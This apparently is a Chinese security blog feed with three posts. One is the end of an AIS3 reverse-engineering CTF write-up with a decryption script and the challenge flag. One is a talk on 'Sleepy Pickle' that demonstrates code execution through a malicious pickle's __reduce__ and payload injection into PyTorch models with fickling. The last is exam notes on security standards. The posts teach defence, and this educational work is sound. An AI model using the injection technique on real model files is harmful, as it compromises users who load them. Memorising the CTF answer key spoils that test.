[XOR @0x100085f] MEM[0x2003f3a] 0x33 ^ AL(0x03) → 0x30
寫入後 MEM = 0x33
[WRITE] @0x2003f3a ← 0x30
[XOR @0x100085f] MEM[0x2003f3b] 0x00 ^ AL(0x33) → 0x33
寫入後 MEM = 0x00
[WRITE] @0x2003f3b ← 0x33
[XOR @0x100085f] MEM[0x2003f3c] 0x01 ^ AL(0x32) → 0x33
寫入後 MEM = 0x01
[WRITE] @0x2003f3c ← 0x33
[XOR @0x100085f] MEM[0x2003f3d] 0x30 ^ AL(0x32) → 0x02
寫入後 MEM = 0x30
[WRITE] @0x2003f3d ← 0x02
[XOR @0x100085f] MEM[0x2003f3e] 0x03 ^ AL(0x31) → 0x32
寫入後 MEM = 0x03
[WRITE] @0x2003f3e ← 0x32
[XOR @0x100085f] MEM[0x2003f3f] 0x31 ^ AL(0x30) → 0x01
寫入後 MEM = 0x31
[WRITE] @0x2003f3f ← 0x01
[XOR @0x100085f] MEM[0x2003f40] 0x02 ^ AL(0x30) → 0x32
寫入後 MEM = 0x02
[WRITE] @0x2003f40 ← 0x32
[XOR @0x100085f] MEM[0x2003f41] 0x31 ^ AL(0x33) → 0x02
寫入後 MEM = 0x31
[WRITE] @0x2003f41 ← 0x02
[XOR @0x100085f] MEM[0x2003f42] 0x00 ^ AL(0x33) → 0x33
寫入後 MEM = 0x00
[WRITE] @0x2003f42 ← 0x33
[XOR @0x100085f] MEM[0x2003f43] 0x02 ^ AL(0x02) → 0x00
寫入後 MEM = 0x02
[WRITE] @0x2003f43 ← 0x00
[XOR @0x100085f] MEM[0x2003f44] 0x01 ^ AL(0x32) → 0x33
寫入後 MEM = 0x01
[WRITE] @0x2003f44 ← 0x33
[XOR @0x100085f] MEM[0x2003f45] 0x33 ^ AL(0x01) → 0x32
寫入後 MEM = 0x33
[WRITE] @0x2003f45 ← 0x32
[XOR @0x100085f] MEM[0x2003f46] 0x03 ^ AL(0x32) → 0x31
寫入後 MEM = 0x03
[WRITE] @0x2003f46 ← 0x31
[XOR @0x100085f] MEM[0x2003f47] 0x31 ^ AL(0x02) → 0x33
寫入後 MEM = 0x31
[WRITE] @0x2003f47 ← 0x33
[XOR @0x100085f] MEM[0x2003f48] 0x01 ^ AL(0x33) → 0x32
寫入後 MEM = 0x01
[WRITE] @0x2003f48 ← 0x32
[XOR @0x100085f] MEM[0x2003f49] 0x30 ^ AL(0x00) → 0x30
寫入後 MEM = 0x30
[WRITE] @0x2003f49 ← 0x30
[HOOK MOV] @0x01000654: mov esi, 0x1d
[XOR @0x1000668] MEM[0x2003f20] 0x01 ^ AL(0x02) → 0x03
寫入後 MEM = 0x01
[WRITE] @0x2003f20 ← 0x03
[HOOK CMP] @0x0100066e: cmp esi, 0x3b
[XOR @0x1000668] MEM[0x2003f21] 0x32 ^ AL(0x32) → 0x00
寫入後 MEM = 0x32
[WRITE] @0x2003f21 ← 0x00
[XOR @0x1000668] MEM[0x2003f22] 0x31 ^ AL(0x01) → 0x30
寫入後 MEM = 0x31
[WRITE] @0x2003f22 ← 0x30
[XOR @0x1000668] MEM[0x2003f23] 0x33 ^ AL(0x32) → 0x01
寫入後 MEM = 0x33
[WRITE] @0x2003f23 ← 0x01
[XOR @0x1000668] MEM[0x2003f24] 0x33 ^ AL(0x02) → 0x31
寫入後 MEM = 0x33
[WRITE] @0x2003f24 ← 0x31
[XOR @0x1000668] MEM[0x2003f25] 0x32 ^ AL(0x33) → 0x01
寫入後 MEM = 0x32
[WRITE] @0x2003f25 ← 0x01
[XOR @0x1000668] MEM[0x2003f26] 0x32 ^ AL(0x00) → 0x32
寫入後 MEM = 0x32
[WRITE] @0x2003f26 ← 0x32
[XOR @0x1000668] MEM[0x2003f27] 0x33 ^ AL(0x33) → 0x00
寫入後 MEM = 0x33
[WRITE] @0x2003f27 ← 0x00
[XOR @0x1000668] MEM[0x2003f28] 0x03 ^ AL(0x32) → 0x31
寫入後 MEM = 0x03
[WRITE] @0x2003f28 ← 0x31
[XOR @0x1000668] MEM[0x2003f29] 0x32 ^ AL(0x31) → 0x03
寫入後 MEM = 0x32
[WRITE] @0x2003f29 ← 0x03
[XOR @0x1000668] MEM[0x2003f2a] 0x32 ^ AL(0x33) → 0x01
寫入後 MEM = 0x32
[WRITE] @0x2003f2a ← 0x01
[XOR @0x1000668] MEM[0x2003f2b] 0x03 ^ AL(0x32) → 0x31
寫入後 MEM = 0x03
[WRITE] @0x2003f2b ← 0x31
[XOR @0x1000668] MEM[0x2003f2c] 0x32 ^ AL(0x30) → 0x02
寫入後 MEM = 0x32
[WRITE] @0x2003f2c ← 0x02
[XOR @0x1000668] MEM[0x2003f2d] 0x31 ^ AL(0x30) → 0x01
寫入後 MEM = 0x31
[WRITE] @0x2003f2d ← 0x01
[XOR @0x1000668] MEM[0x2003f2e] 0x01 ^ AL(0x31) → 0x30
寫入後 MEM = 0x01
[WRITE] @0x2003f2e ← 0x30
[XOR @0x1000668] MEM[0x2003f2f] 0x30 ^ AL(0x03) → 0x33
寫入後 MEM = 0x30
[WRITE] @0x2003f2f ← 0x33
[XOR @0x1000668] MEM[0x2003f30] 0x33 ^ AL(0x01) → 0x32
寫入後 MEM = 0x33
[WRITE] @0x2003f30 ← 0x32
[XOR @0x1000668] MEM[0x2003f31] 0x32 ^ AL(0x01) → 0x33
寫入後 MEM = 0x32
[WRITE] @0x2003f31 ← 0x33
[XOR @0x1000668] MEM[0x2003f32] 0x33 ^ AL(0x03) → 0x30
寫入後 MEM = 0x33
[WRITE] @0x2003f32 ← 0x30
[XOR @0x1000668] MEM[0x2003f33] 0x01 ^ AL(0x00) → 0x01
寫入後 MEM = 0x01
[WRITE] @0x2003f33 ← 0x01
[XOR @0x1000668] MEM[0x2003f34] 0x03 ^ AL(0x30) → 0x33
寫入後 MEM = 0x03
[WRITE] @0x2003f34 ← 0x33
[XOR @0x1000668] MEM[0x2003f35] 0x33 ^ AL(0x01) → 0x32
寫入後 MEM = 0x33
[WRITE] @0x2003f35 ← 0x32
[XOR @0x1000668] MEM[0x2003f36] 0x32 ^ AL(0x31) → 0x03
寫入後 MEM = 0x32
[WRITE] @0x2003f36 ← 0x03
[XOR @0x1000668] MEM[0x2003f37] 0x32 ^ AL(0x01) → 0x33
寫入後 MEM = 0x32
[WRITE] @0x2003f37 ← 0x33
[XOR @0x1000668] MEM[0x2003f38] 0x31 ^ AL(0x32) → 0x03
寫入後 MEM = 0x31
[WRITE] @0x2003f38 ← 0x03
[XOR @0x1000668] MEM[0x2003f39] 0x30 ^ AL(0x00) → 0x30
寫入後 MEM = 0x30
[WRITE] @0x2003f39 ← 0x30
[XOR @0x1000668] MEM[0x2003f3a] 0x30 ^ AL(0x31) → 0x01
寫入後 MEM = 0x30
[WRITE] @0x2003f3a ← 0x01
[XOR @0x1000668] MEM[0x2003f3b] 0x33 ^ AL(0x03) → 0x30
寫入後 MEM = 0x33
[WRITE] @0x2003f3b ← 0x30
[XOR @0x1000668] MEM[0x2003f3c] 0x33 ^ AL(0x01) → 0x32
寫入後 MEM = 0x33
[WRITE] @0x2003f3c ← 0x32
[XOR @0x1000668] MEM[0x2003f3d] 0x02 ^ AL(0x31) → 0x33
寫入後 MEM = 0x02
[WRITE] @0x2003f3d ← 0x33
[HOOK MOV] @0x01000675: mov esi, 0x11
[WRITE] @0x2003f04 ← 0x11
[WRITE] @0x2003f00 ← 0x407068

根據以上可以總結

  • 每次eip 會有0xaa 到0xbb的變動長度進行xor，進行的方式為

    1
    2
    for i in range(0xbb):
     flag[i] = flag[i] ^ f[(0xaa + i)%47]

    結束後將eip更新

  • 其中有一段特別的XOR加密，是從0x0d + i 的數值去做xor加密

    1
    2
    for i in range(0xbb):
    flag[i] = flag[i] ^ 0x0d+i
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
[WRITE] @0x2003f1c ← 0x0d
[WRITE] @0x2003f20 ← 0x32
[WRITE] @0x2003f1c ← 0x0e
[WRITE] @0x2003f21 ← 0x02
[WRITE] @0x2003f1c ← 0x0f
[WRITE] @0x2003f22 ← 0x30
[WRITE] @0x2003f1c ← 0x10
[WRITE] @0x2003f23 ← 0x00
[WRITE] @0x2003f1c ← 0x11
[WRITE] @0x2003f24 ← 0x01
[WRITE] @0x2003f1c ← 0x12
[WRITE] @0x2003f25 ← 0x02
[WRITE] @0x2003f1c ← 0x13
[WRITE] @0x2003f26 ← 0x30
[WRITE] @0x2003f1c ← 0x14
[WRITE] @0x2003f27 ← 0x03
[WRITE] @0x2003f1c ← 0x15
[WRITE] @0x2003f28 ← 0x02
[WRITE] @0x2003f1c ← 0x16
[WRITE] @0x2003f29 ← 0x00
[WRITE] @0x2003f1c ← 0x17
[WRITE] @0x2003f2a ← 0x33
[WRITE] @0x2003f1c ← 0x18
[WRITE] @0x2003f2b ← 0x03
[WRITE] @0x2003f1c ← 0x19
[WRITE] @0x2003f2c ← 0x31
[WRITE] @0x2003f1c ← 0x1a
[WRITE] @0x2003f2d ← 0x30
[WRITE] @0x2003f1c ← 0x1b
  • 剩下的也是進行第一點的加密方式

綜合以上 可以寫出下面的解密script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
step = [
    (0x28,0x51),(0x20,0x41),(0x18,0x31),(0x24,0x49),(0x1d,0x3b),(0x12,0x25),
    (0x0d,0x1b),(0x24,0x49),(0x0b,0x17),(0x1d,0x3b),(0x18,0x31),(0x1f,0x3f),
    (0x15,0x2b),(0x0e,0x1d),(0x2a,0x55),(0x14,0x29),(0x0b,0x17),(0x06,0x0d),
    (0x1a,0x35),(0x18,0x31),(0x18,0x31),(0x1d,0x3b),(0x1d,0x3b),(0x0e,0x1d),
    (0x03,0x07),(0x18,0x31),(0x08,0x11),(0x08,0x11),(0x29,0x53),(0x0b,0x17),
    (0x0d,0x1b),(0x12,0x25),(0x0e,0x1d),(0x19,0x33),(0x02,0x05),(0x17,0x2f),
    (0x11,0x23),(0x28,0x51),(0x11,0x23),(0x04,0x09),(0x15,0x2b),(0x16,0x2d),
    (0x2b,0x57),(0x20,0x41),(0x13,0x27),(0x0c,0x19),(0x2d,0x5b),(0x24,0x49),
    (0x23,0x47),(0x16,0x2d),(0x2b,0x57),(0x18,0x31),(0x1b,0x37),(0x08,0x11),
    (0x06,0x0d),(0x13,0x27),(0x26,0x4d),(0x15,0x2b),(0x1d,0x3b),(0x16,0x2d),
    (0x04,0x09),(0x02,0x05),(0x0a,0x15),(0x09,0x13),(0x24,0x49),(0x2c,0x59),
    (0x02,0x05),(0x11,0x23),(0x0f,0x1f),(0x22,0x45),(0x02,0x05),(0x14,0x29),
    (0x0d,0x1b),(0x26,0x4d),(0x09,0x13),(0x27,0x4f),(0x1a,0x35),(0x21,0x43),
    (0x2a,0x55),(0x13,0x27),(0x2e,0x5d),(0x18,0x31)
]

step2 = [
    (0x29, 0x53),
    (0x1d, 0x3b)
]

cipher_bytes = bytes([
    0x5a,0x60,0x61,0x0f,0x08,0x29,0x42,0x32,0x25,0x23,0x42,0x68,0x4b,0x41,
    0x63,0x55,0x37,0x43,0x6a,0x50,0x40,0x6f,0x2e,0x66,0x49,0x7f,0x09,0x66,
    0x79,0x7c,0x37,0x18,0x5d,0x35,0x46,0x41,0x37,0x0f,0x19,0x1c,0x30,0x79,
    0x29,0x69,0x0a,0x46,0x3b
])

def decrypt(first: int, length: int, data: bytearray) -> None:
    now = first
    for i in range(length - 1, -1, -1):
        j = (now + i) % 47
        data[i] ^= data[j]

def undo_xor_segment(data: bytearray) -> None:
    for k in range((0x1b - 0x0d) - 1, -1, -1):
        data[k] ^= data[k + 0x0d]

def main():
    buf = bytearray(cipher_bytes)

    for a, b in reversed(step2):
        decrypt(a, b - a, buf)

    undo_xor_segment(buf)

    for a, b in reversed(step):
        decrypt(a, b - a, buf)

    print(buf)

if __name__ == "__main__":
    main()

unicorn1

:flags:AIS3{UniCorn_2.1.3_fk_s1ow_BUT_this_chal_cool?}

AntiDbg++++

賽後解

]]> 2025 AIS3 Reverse 題目分析與解法 Sleepy Pickle https://yunshiuan.com/2024/10/15/SleepyPickle/ 2024-10-15T11:00:00.000Z 2026-05-11T12:09:45.323Z 💤🥒Sleeply Pickle

Demo code : https://github.com/YunshiuanOAO/SleepyPickle-Demo

Slido : https://speakerdeck.com/yunshiuanoao/sleeplypickle

♻️序列化(Serialization)/反序列化(Deserialization)

序列化是將一個資料結構或物件轉換成一種可以儲存或交換的格式（如位元組流、JSON、XML 等）。這樣的轉換讓物件能夠寫入檔案、透過網路傳輸，或儲存在資料庫中。

反序列化則是將儲存的數據或接收到的數據轉換回原始的物件或資料結構。

alt text

🥒 What is Pickle?

Pickle 是 Python 的內建模組，提供了將 Python 物件序列化和反序列化的功能。

常見用途

: 將物件儲存到檔案中，方便之後載入。
: 將物件透過網路或其他通道進行傳輸。
快速儲存和載入機器學習模型、配置檔或計算結果。

支援的物件類型

: Pickle 支援多種 Python 內建的資料型態，包括：
: ✔️ 數字（int, float）
: ✔️ 字串（str）
: ✔️ 列表（list）、元組（tuple）、字典（dict）、集合（set）
: ✔️ 自訂類別物件
✔️ 函數

Example : 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import pickle
import pickletools


data = {"name": "Alice", "age": 30, "scores": [88, 92, 95]}

with open("data.pkl", "wb") as file:
    pickle.dump(data, file, protocol=0)
    print("Data has been successfully serialized to data.pkl")

with open("data.pkl", "rb") as file:
    unpickled_data = pickle.load(file)
    print(unpickled_data)


Output: 

1
2
Data has been successfully serialized to data.pkl
{'name': 'Alice', 'age': 30, 'scores': [88, 92, 95]}

可以使用pickletools將pickle執行的內容dump出來

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
    0: (    MARK
    1: d        DICT       (MARK at 0)
    2: p    PUT        0
    5: V    UNICODE    'name'
   11: p    PUT        1
   14: V    UNICODE    'Alice'
   21: p    PUT        2
   24: s    SETITEM
   25: V    UNICODE    'age'
   30: p    PUT        3
   33: I    INT        30
   37: s    SETITEM
   38: V    UNICODE    'scores'
   46: p    PUT        4
   49: (    MARK
   50: l        LIST       (MARK at 49)
   51: p    PUT        5
   54: I    INT        88
   58: a    APPEND
   59: I    INT        92
   63: a    APPEND
   64: I    INT        95
   68: a    APPEND
   69: s    SETITEM
   70: .    STOP
highest protocol among opcodes = 0

由上面的資訊可以得知，其實Pickle在反序列化的過成就很像一個簡易的堆疊虛擬機在執行，透過Opcode並且在Pickle Virtual Machine執行
主要由這三個

  • 指令處理器 (Instruction Processor)

    從指令流 (byte stream) 中讀取 opcode 與參數，並依序進行解譯與處理。

    不斷重複「讀取 -> 處理」的流程，直到遇到結束符號（通常是 .）後停止。

    反序列化結束時，最終留在 stack 頂端的值將作為反序列化結果返回。

  • Stack (堆疊)

    由 Python 的 list 實作。

    用於暫時儲存資料、參數以及各種物件。

    各種 opcode 會操作此堆疊（如推入、彈出、組合容器等）。

  • Memo (備忘錄)

    由 Python 的 dict 實作。

    在 PVM 整個生命週期中，負責儲存先前出現過的物件，以便重複引用或避免重複建立。

    透過索引或序號 (index) 來存取對應物件。

以下為常用的opcode

指令描述具體寫法對 stack 的變化
c取得一個全局物件或 import 一個模組c[module]\n[instance]\n取得的物件入 stack
o尋找 stack 中的上一個 MARK，以之間的第一個資料（必須為函數）為 callable，第二個到第 n 個資料為參數，執行該函數（或實例化一個物件）o這個過程中涉及到的資料都出 stack，函數的返回值（或生成的物件）入 stack
i相當於 c 和 o 的組合，先取得一個全局函數，然後尋找 stack 中的上一個 MARK，並組合之間的資料為元組，再以該元組為參數執行全局函數（或實例化一個物件）i[module]\n[callable]\n這個過程中涉及到的資料都出 stack，函數返回值（或生成的物件）入 stack
N實例化一個 NoneN取得的 None 對象入 stack
S實例化一個字串對象S'xxx'\n
也可使用雙引號或 \' 等 Python 字串形式		取得的字串對象入 stack
V實例化一個 Unicode 字串對象Vxxx\n取得的字串對象入 stack
I實例化一個 int 對象Ixxx\n取得的整數對象入 stack
F實例化一個 float 對象Fx.x\n取得的浮點數對象入 stack
R選擇 stack 上的第一個對象作為函數、第二個對象作為參數（第二個對象必須為元組），然後呼叫該函數R函數和參數出 stack，函數的返回值入 stack
.程式結束，stack 頂的單一元素作為 pickle.loads() 的返回值.無
(向 stack 中壓入一個 MARK 標記(MARK 標記入 stack
t尋找 stack 中的上一個 MARK，並組合之間的資料為元組tMARK 標記以及被組合的資料出 stack，生成的元組入 stack
)向 stack 中直接壓入一個空元組)空元組入 stack
l尋找 stack 中的上一個 MARK，並組合之間的資料為列表lMARK 標記以及被組合的資料出 stack，生成的列表入 stack
]向 stack 中直接壓入一個空列表]空列表入 stack
d尋找 stack 中的上一個 MARK，並組合之間的資料為字典（資料必須有偶數個，即呈 key-value 對）dMARK 標記以及被組合的資料出 stack，生成的字典入 stack
}向 stack 中直接壓入一個空字典}空字典入 stack
p將 stack 頂對象儲存至 memo_npn\n無
g將 memo_n 的對象壓入 stackgn\n將指定索引的 memo 對象入 stack
0丟棄 stack 頂對象0stack 頂對象被丟棄
b使用 stack 中的第一個元素（儲存多個屬性名: 屬性值的字典）對第二個元素（對象實例）進行屬性設置bstack 上第一個元素出 stack；第二個元素（對象）被更新
s將 stack 的第一個和第二個對象作為 key-value 對，添加或更新到 stack 的第三個對象（必須為列表或字典，列表以數字作為 key）s第一、二個元素出 stack，第三個元素（列表或字典）被更新
u尋找 stack 中的上一個 MARK，組合之間的資料（必須有偶數個，即 key-value 對）並全部添加或更新到該 MARK 之前的一個對象（必須為字典）uMARK 標記以及被組合的資料出 stack，字典被更新
a將 stack 的第一個元素 append 到第二個元素（列表）中astack 頂元素出 stack，第二個元素（列表）被更新
e尋找 stack 中的上一個 MARK，組合之間的資料並 extends 到該 MARK 之前的一個元素（必須為列表）eMARK 標記以及被組合的資料出 stack，列表被更新

⚠️What’s Wrong with Pickle ?

Pickle文檔上有出現這一個警告
alt text

Pickle當中有一個 __reduce__ 可以使用，當反序列化時會自動呼叫

以下範例為製作一個惡意的pickle

1
2
3
4
5
6
7
8
9
10
11

import pickle
import subprocess

class EvilPickle:
    def __reduce__(self):
        return (subprocess.Popen, (('ls',),))
e =  EvilPickle()
with open('evil.pkl', 'wb') as f:
    pickle.dump(e, f)

用pickletool 把惡意pickle檔dump出來看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
    0: c    GLOBAL     'commands Popen'
   16: p    PUT        0
   19: (    MARK
   20: (        MARK
   21: V            UNICODE    'ls'
   25: p            PUT        1
   28: t            TUPLE      (MARK at 20)
   29: p        PUT        2
   32: t        TUPLE      (MARK at 19)
   33: p    PUT        3
   36: R    REDUCE
   37: p    PUT        4
   40: .    STOP
highest protocol among opcodes = 0

執行結果：
alt text

即可執行ls指令

💤Sleepy Pickle

利用pickle不安全的特性，將惡意的Bytecode植入使用pickle的模型檔案內。

alt text
有一個針對此攻擊而產生的工具：fickling

此工具可以輕易的將想要執行的程式轉成bytecode值入進pickle中，另外也有檢測pickele內的惡意行為功能

demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import torch
import torchvision.models as models
import warnings
from fickling.pytorch import PyTorchModelWrapper
warnings.filterwarnings("ignore")

model = models.mobilenet_v2()
torch.save(model, "mobilenet.pth")

result = PyTorchModelWrapper("mobilenet.pth")

temp_filename = "temp_filename.pt"
result.inject_payload(
    "print('Inject successful!')",
    temp_filename,
    injection="insertion",
    overwrite=True,
)

# Load file with injected payload
torch.load("mobilenet.pth")

輸出：

alt text

在 Hugging face 上在目前常出現的是pytorch_model.bin
alt text

pytorch_model.bin是使用PyTorch中的torch.save 函數所生成的二進位檔案，裡面會存 weights, biases, 或者其他parameters，如果將它unzip會有一個data.pkl可以利用(會依照Pytorch不同的版本裡面會包含不同的檔案)

!!! info

* PyTorch v0.1.1: Tar file with sys_info, pickle, storages, and tensors* PyTorch v0.1.10: Stacked pickle files* TorchScript v1.0: ZIP file with model.json* TorchScript v1.1: ZIP file with model.json and attributes.pkl* TorchScript v1.3: ZIP file with data.pkl and constants.pkl* TorchScript v1.4: ZIP file with data.pkl, constants.pkl, and version set at 2 or higher (2 pickle files and a folder)* PyTorch v1.3: ZIP file containing data.pkl (1 pickle file)* PyTorch model archive format[ZIP]: ZIP file that includes Python code files and pickle files

alt text

!!! warning “PyTorch適用版本”
PyTorch <2.6 在最新 2.6版本中，Pytorch 將 torch.load 的參數weights_only預設為True

> Also in this release as an important security improvement measure we have changed the default value for weights_only parameter of torch.load. This is a backward compatibility-breaking change, please see this forum post for more details.

接下來Hacker 會先透過中間人攻擊、供應鏈攻擊、社交工程等手法，將惡意Pickle檔案傳送至受害者的系統，一旦反序列化後有可能會進行以下的惡意攻擊

  • 修改模型參數

可以去微調模型的參數讓他輸出出誤導性或有惡意的輸出

如：ROME

alt text

  • 釣魚

可以在每次問答時插入惡意的連結
alt text

  • 埋後門
  • XSS
  • 竊取使用者資料
  • 竄改資料
  • …

🦾How To Prevent

  • 不要使用Pickle，使用 SafeTensors.
  • 如果一定要使用Pickle，需要使用fickling對pickle進行掃描或者限制unpickler

📚Reference

]]> 以 Python Pickle 為例，探討序列化/反序列化與安全風險 🎖️ IPAS 資安工程師中級筆記 https://yunshiuan.com/2024/09/15/IPAS%E8%B3%87%E5%AE%89%E5%B7%A5%E7%A8%8B%E5%B8%AB/ 2024-09-15T06:00:00.000Z 2026-05-11T12:09:40.823Z

練習網址

筆記

OSI

7-layoutDescription
應用層通訊協定，如：HTTP、FTP
表達層通訊過程中使用的編碼，如ASCII、JPEG
會議層控制開啟與關閉的通訊，檢查傳輸的完整性
傳輸層端對端之間的通訊、確保資料完整性
網路層不同網路之間的資料傳輸(封包)：ip、ICMP
資料連結層同一網路上的兩個裝置之間的資料傳輸
實體層實體設備

設備

橋接器

  • OSI 資料連接層
  • 連接兩個不同區域網路的裝置

RAID

RAID 等級最少磁碟數量容錯能力讀取效能寫入效能容量利用率
RAID 02❌ 無容錯高高100%
RAID 12允許 1 顆故障高低50%
RAID 53允許 1 顆故障高中(N-1)/N
RAID 64允許 2 顆故障高低(N-2)/N
RAID 104允許 1 顆（每個鏡像組）高高50%

工具

IDS/IPS

項目IDS（入侵偵測系統）IPS（入侵防禦系統）
全名Intrusion Detection SystemIntrusion Prevention System
主要功能偵測並報告惡意或異常行為偵測、封鎖並防止惡意或異常行為
動作✅ 監聽與記錄流量
✅ 發出警報		✅ 監聽與記錄流量
✅ 發出警報
✅ 自動阻止攻擊
處理方式被動（只發出警報，管理員需手動處理）主動（自動進行防禦與阻止）
部署位置內部網路或 DMZ通常部署在閘道或防火牆之後
對流量影響不影響流量可能影響效能（因為需要即時分析和處理）
處理技術- 簽章比對
- 行為分析
- 協議異常檢測		- 簽章比對
- 行為分析
- 協議異常檢測
- 即時封鎖
偵測方法- 簽章式偵測
- 異常行為偵測		- 簽章式偵測
- 異常行為偵測
- 回應式處理
優勢✅ 不會影響網路效能
✅ 可用來調查攻擊來源		✅ 可即時封鎖攻擊
✅ 自動處理無需人力介入
缺點❌ 無法即時阻止攻擊
❌ 需要人工干預		❌ 錯誤封鎖可能影響正常服務
❌ 可能降低網路效能
適用場合- 需進行攻擊監控與記錄
- 調查及取證用途		- 需即時防禦攻擊
- 防止 DDoS 或零時差攻擊
常見工具- Snort
- Suricata
- Bro（Zeek）		- Snort（IPS 模式）
- Suricata（IPS 模式）
- Palo Alto Networks
- Cisco Firepower

攻擊Attack

中國菜刀 China chopper

通過向網站提交一句簡短的程式碼,來達到向伺服器插入木馬,並最後獲取 webshell

基礎度量群 Base Metric Group

基本度量群組考慮的是與漏洞本身相關的特徵，例如攻擊向量、攻擊複雜度、身份驗證要求、機密性影響、完整性影響和可用性影響等等。

Threat Metric Group

環境度量群 Environmental Metric Group

漏洞在特定使用者環境下的影響。這些因素可以包括組織特有的需求和限制，例如資源重要性、完整性要求和可用性要求等等

Supplemental Metric Group

標準

ISA/ IEC 62443

ISA/IEC 62443 是針對 工業控制系統（ICS） 和 OT 安全的標準，其中 62443-2-1 規範了安全管理系統，適用於 OT 環境

標準重點 / 焦點
IEC 62443-2-1建立工業安全管理系統，提供整體安全策略、政策及程序的規範
IEC 62443-2-4建立與維運組織內部安全管理程式
IEC 62443-3-3工業自動化與控制系統的技術安全要求與安全等級
IEC 62443-2-3針對系統整合商或服務提供商的安全管理流程與工程實踐
IEC 62443-4-2產品層面安全要求，重點在安全產品開發與技術要求

ISO 22301 營運持續管理系統(BCMS)

營運持續管理（BCMS）的一般標準流程如下：

  1. 執行營運衝擊分析（BIA）
  2. 建立營運持續策略與架構
  3. 建立營運持續策略與計畫
  4. 演練與測試
  5. 持續改進與回饋修正

BCM組織策略

  • 接班人計畫（Succession Planning）

    定義：用於管理階層或關鍵職務之長期培養、接班計畫，著重未來人員培養。

    特點：適用於公司長期發展及管理階層的接續，並非短期應急使用。

  • 代理人計畫（Alternate Personnel Plan

    定義：在緊急狀況下，立即有替代人員可執行相同職務。

    特點：強調立即性的職務代理，快速提升公司短期營運持續能力。

  • 工作輪休計畫（Job Rotation）

    定義：員工定期交換職務以避免舞弊或單點失敗，通常用於內控管理。

    特點：偏重於內控，降低內部風險，與營運持續有關但非疫情下最直接的做法。

  • 員工進修計畫（Employee Training Program）

    定義：長期提供員工知識技能訓練，以提升競爭力。

    特點：偏重長期能力培養，對短期疫情緊急應變較無立即效果。

ISO/IEC 27001

資訊安全管理系統要求，規範組織如何建立、實施、維護與持續改善ISMS。

  • 資訊安全政策的規範

    必須制訂正式的資訊安全政策，並確保員工了解並遵守。
    內容應包括：

    • 組織安全方針
    • 管理責任
    • 資料分類和存取控制

  • 風險評鑑與風險處理的過程與結果

    組織必須保存：

    • 風險識別結果
    • 風險分析結果
    • 風險處理措施及處理結果

    用來證明風險評估結果及選擇處理方式的合理性。

  • 資訊安全目標的內容與監督量測的結果

    設定資訊安全目標（如：系統可用性、合規性、存取控制等），定期監控與量測結果，並進行調整和優化。

ISO/IEC 27002

資安控制措施實務指引，提供實務上的控制措施建議（例如訪問控制、加密）。

  • 預防（Preventive）

    目標是防止事件或攻擊的發生。
    例子：防火牆設定、存取控制、加密。

  • 偵測（Detective）

    目標是在事件發生時或發生後，能夠即時或快速偵測到。
    例子：日誌記錄、異常行為監控、入侵偵測系統（IDS）。

  • 矯正（Corrective）

    目標是在事件發生後，進行修復或回復，降低影響，恢復正常狀態。
    例子：資料備份、系統修復、災難復原（DR）。

  • 威嚇性（Deterrent）

    透過警告或懲戒來阻止行為
    例：法律聲明、違規處罰、登入警告

  • 補償性（Compensating）

    在其他控制失效時進行替代
    例：建立額外防禦機制

ISO/IEC 27003

資訊安全管理系統（ISMS）實施指南，提供如何實施與導入ISMS的詳細步驟與方法的指引。

ISO/IEC 27004

資訊安全管理的績效評估指引，用於量測與監控ISMS的績效。

ISO/IEC 27005 資安風險評鑒

![](./assets/ISO27001-struct.png)
Source : https://ithelp.ithome.com.tw/articles/10284562
  • 全景建立
    • 明確訂定風險管理的範圍與情境，包括外部法規、內部政策、利害關係人的需求、營運目標等。
    • 此階段須考量外在環境要求，包括法規要求、產業標準、合約義務等外部因素
  • 風險識別
    • 目的： 找出需要保護的資產以及與這些資產相關的威脅、脆弱性與可能產生的後果。
    • 工作項目：
      • 識別組織中所有重要的資訊資產（例如資料、系統、硬體、業務流程、人員等）。
      • 確認各類威脅（包括自然災害、人為攻擊、操作失誤等）以及這些威脅可能的來源。
      • 辨認與資產相關的漏洞或控制缺陷，這些漏洞可能被威脅利用。
      • 描述各項風險事件可能導致的後果或影響。
  1. 風險分析
    • 目的： 評估風險事件發生的可能性及其對業務造成的潛在影響。
      • 工作項目：
      • 根據已識別的威脅與漏洞，估算事件發生的可能性（可採用定性、定量或半定量的方法）。
      • 評估若風險事件發生時，可能帶來的損失、衝擊或影響（例如資金損失、業務中斷、聲譽受損等）。
      • 考量現有的控制措施對降低威脅可能性與影響的效果。
  2. 風險評估
    • 目的： 將風險分析的結果與組織設定的風險接受準則進行比較，以確定哪些風險需要進行處理。
    • 工作項目：
      • 根據分析結果，將風險依據其可能性和影響大小進行排序和分級。
      • 與預先制定的風險接受標準進行對照，判斷哪些風險在可接受範圍內，哪些需要進一步進行風險處理（如降低、避免、轉移或接受）。
      • 為後續的風險處理制定優先順序，確保資源能夠聚焦在最重要的風險上。

風險處理

  • 🔻 降低風險/風險控制 (Risk Mitigation)

    實施控制措施來減少威脅或降低風險影響。

例如：防火牆設定、漏洞修補、加密資料、嚴格存取控制等。

  • 🔄 轉移風險（風險分擔）

    將風險移轉給第三方承擔或共同分擔。

例如：購買保險、外包資安監控（MSSP）服務、第三方合作廠商承擔等。

  • ⚠️ 接受風險

    組織在評估後，認為風險在可承受範圍內，無需額外控制措施。

例如：若風險發生機率或影響極低，可選擇不處理直接接受。

  • ❌ 規避風險（避免風險）

    停止進行導致風險產生的業務或活動，以消除風險。

例如：直接停止高風險業務或活動。

風險矩陣

![](./assets/風險矩陣.jpg)
Source : https://www.facebook.com/photo.php?fbid=3227828824203656&id=1668924616760759&set=a.1877463735906845
指標定義說明
RTO（Recovery Time Objective）復原時間目標系統發生故障後，應在多少時間內完成復原並恢復運行。
RPO（Recovery Point Objective）復原點目標系統復原時，最多允許損失多少時間內的資料（即「允許的資料損失範圍」）。
MTTR（Mean Time to Recovery）平均復原時間系統在發生故障後，實際平均完成復原所需的時間。
MTTF（Mean Time to Failure）平均失效時間系統平均在運行狀態下持續多久才會發生故障（即系統的可靠度）。

ISO 27701

